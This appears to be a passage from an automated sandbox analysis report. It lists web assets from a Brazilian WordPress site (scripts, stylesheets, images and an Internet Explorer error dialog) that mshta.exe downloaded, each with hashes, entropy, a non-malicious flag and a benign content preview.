                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
                                                                                      Preview:.PNG........IHDR.............[6......sBIT....|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\bootstrap.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):28756
                                                                                      Entropy (8bit):5.071148466705677
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
                                                                                      MD5:BE1C5898C4332C8E7F9906011E005BB0
                                                                                      SHA1:9567F7B3FD78160203C5795D397128390381D8A3
                                                                                      SHA-256:7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
                                                                                      SHA-512:0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
                                                                                      Preview:/**.* Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\camera[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):26264
                                                                                      Entropy (8bit):5.17784391797181
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
                                                                                      MD5:4801E1D3D131C3628342CAACC406479D
                                                                                      SHA1:3078A5FC945049A7B9E90829123ACAE900C74324
                                                                                      SHA-256:3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
                                                                                      SHA-512:9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
                                                                                      Preview:/**************************.*.*.GENERAL.*.**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\content_bg4[1].jpg

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
                                                                                      Category:downloaded
                                                                                      Size (bytes):891583
                                                                                      Entropy (8bit):7.917669644382096
                                                                                      Encrypted:false
                                                                                      SSDEEP:24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
                                                                                      MD5:68287B4A0457A01B4244FBB136D147B7
                                                                                      SHA1:8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
                                                                                      SHA-256:16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
                                                                                      SHA-512:84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
                                                                                      Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\custom[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):7063
                                                                                      Entropy (8bit):4.760531090364714
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
                                                                                      MD5:9CA23FDB7BD610BD719855071377B6EF
                                                                                      SHA1:058963F75C878FA6E48671046293F9B70D35B5AB
                                                                                      SHA-256:859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
                                                                                      SHA-512:15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
                                                                                      Preview:// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\error[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):1706
                                                                                      Entropy (8bit):5.274543201400288
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
                                                                                      MD5:B9BEC45642FF7A2588DC6CB4131EA833
                                                                                      SHA1:4D150A53276C9B72457AE35320187A3C45F2F021
                                                                                      SHA-256:B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
                                                                                      SHA-512:C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
                                                                                      Malicious:false
                                                                                      IE Cache URL:res://ieframe.dll/error.js
                                                                                      Preview:...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\error[2]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):3247
                                                                                      Entropy (8bit):5.459946526910292
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                                                      MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                                                      SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                                                      SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                                                      SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                                                      Malicious:false
                                                                                      Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\facex_horizontal2-e1535501425981[1].png

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
                                                                                      Category:downloaded
                                                                                      Size (bytes):22332
                                                                                      Entropy (8bit):7.95225542017139
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
                                                                                      MD5:2480CFD093671638A8FB34154B96D47A
                                                                                      SHA1:3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
                                                                                      SHA-256:3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
                                                                                      SHA-512:C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
                                                                                      Preview:.PNG........IHDR...............9... .IDATx..y|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ*......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U....*...H$..D.....6....|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\jquery.flexslider-min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):21638
                                                                                      Entropy (8bit):5.19976778726859
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
                                                                                      MD5:9EC3C315B67F434AABC4DA58EABC6C3A
                                                                                      SHA1:51B3A7D882F438D53DC69CA5289E92254160C09A
                                                                                      SHA-256:0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
                                                                                      SHA-512:75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
                                                                                      Preview:/*. * jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window||f||window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide||d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\jquery.mobile.customized.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):17219
                                                                                      Entropy (8bit):5.3136571369702965
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
                                                                                      MD5:F937C24AEE1A092CB9A337391ACFA645
                                                                                      SHA1:22B537591377B42445B6383F54F6C05D4EBFE39A
                                                                                      SHA-256:B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
                                                                                      SHA-512:9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
                                                                                      Preview:window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b||a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]||{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix||b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\main-style[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):70411
                                                                                      Entropy (8bit):5.127502328619063
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
                                                                                      MD5:8C58B6C64504AEC029A5EB64FDA110C7
                                                                                      SHA1:CC0F3354640103B329923BA00054F750578CB78F
                                                                                      SHA-256:E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
                                                                                      SHA-512:5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
                                                                                      Preview:@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\owl.carousel.min[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):3351
                                                                                      Entropy (8bit):4.914211238199009
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
                                                                                      MD5:B2752A850D44F50036628EEAEF3BFCFA
                                                                                      SHA1:FBA46353CF90450EF3D362A123F1E7AF3E8C561E
                                                                                      SHA-256:521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
                                                                                      SHA-512:B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
                                                                                      Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\owl.theme.default.min[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):1013
                                                                                      Entropy (8bit):5.21364895278629
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
                                                                                      MD5:594B81805A98B267E47C70A8FAD30D9F
                                                                                      SHA1:684D84EC40B305CA14EFC88C91F12972CB6342B4
                                                                                      SHA-256:924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
                                                                                      SHA-512:B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
                                                                                      Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class*=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\pt-br[1].png

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                      Category:downloaded
                                                                                      Size (bytes):687
                                                                                      Entropy (8bit):7.458759901857417
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
                                                                                      MD5:363DA7C647BE7AEFCF5505F4F89DC205
                                                                                      SHA1:469D6084D160034D024AF67B4D61C0EDE98CFBA6
                                                                                      SHA-256:F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
                                                                                      SHA-512:31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
                                                                                      Preview:.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il*$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D...*...T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B.*...tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?*2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..|#...udp..J.*_f~1.|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K.*..lgd>..1n]H....-..b$2!|5U|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\style[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):369
                                                                                      Entropy (8bit):4.540020121615135
                                                                                      Encrypted:false
                                                                                      SSDEEP:6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
                                                                                      MD5:894A154E267382CF65B478B759115923
                                                                                      SHA1:ECFFCAEAC680371DF912387314F648F2DA111E19
                                                                                      SHA-256:875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
                                                                                      SHA-512:02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/style.css
                                                                                      Preview:/*--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--*/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\switcher[1].png

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
                                                                                      Category:downloaded
                                                                                      Size (bytes):207
                                                                                      Entropy (8bit):5.824703976565338
